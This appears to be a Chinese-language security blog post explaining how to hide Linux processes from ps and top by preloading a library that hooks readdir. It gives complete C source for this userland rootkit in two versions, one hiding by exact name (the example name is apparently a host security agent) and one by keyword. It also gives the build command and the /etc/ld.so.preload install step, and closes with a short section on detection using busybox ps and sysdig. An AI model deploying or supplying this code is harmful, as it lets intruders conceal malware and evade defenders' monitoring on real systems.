0%

Linux进程隐藏-劫持预加载动态链接库LD_PRELOAD

Linux进程隐藏-劫持预加载动态链接库LD_PRELOAD

1
2
3
4
5
ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;

一般先调用 stat() 确认文件状态,再调用 openat() 打开文件句柄,然后 read() 读取内容,最后 close() 关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。

劫持预加载动态链接库 LD_PRELOAD

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "YDService";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

用gcc编译成.so文件,把脚本中的YDService改成想隐藏的进程就行了

1
gcc hello.c -shared -fPIC -o libhello.so
1
echo /usr/local/lib/libhello.so >> /etc/ld.so.preload
1
cat /etc/ld.so.preload

测试ps是否会访问预加载,发现是加载了。

1
strace -f ps 2>&1 |grep ld.so.preload

image-20230718171017272

扩展

这个脚本可以根据关键字隐藏进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# define _GNU_SOURCE

# include <stdio.h>
# include <dlfcn.h>
# include <dirent.h>
# include <string.h>
# include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "script";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

static void Next(const char* T,int *next){
int i=1;
next[1]=0;
int j=0;
while (i<strlen(T)) {
if (j==0||T[i-1]==T[j-1]) {
i++;
j++;
next[i]=j;
}else{
j=next[j];
}
}
}
static int KMP(char * S,const char* T){
int next[10];
Next(T,next);
int i=1;
int j=1;
while (i<=strlen(S)&&j<=strlen(T)) {
if (j==0 || S[i-1]==T[j-1]) {
i++;
j++;
}
else{
j=next[j];
}
}
if (j>strlen(T)) {
return i-(int)strlen(T);
}
return -1;
}


# define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_## readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_## readdir == NULL) { \
original_## readdir = dlsym(RTLD_NEXT, # readdir); \
if(original_## readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_## readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
KMP(process_name, process_to_filter)!=-1) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

应对方法

1
2
3
1、busybox
busybox ps方式执行ps,可以不预加载库对于劫持lib场景有奇效。
busybox ps
1
2
3
4
5
6
7
8
2、sysdig
还可以通过

sudo sysdig -c topprocs_cpu # 查看cpu进程占用情况
sudo sysdig proc.name contains evil_script # 针对包含evil_script的进程监测
# 监测网络情况
sudo sysdig -c topprocs_net
sudo sysdig -c topconns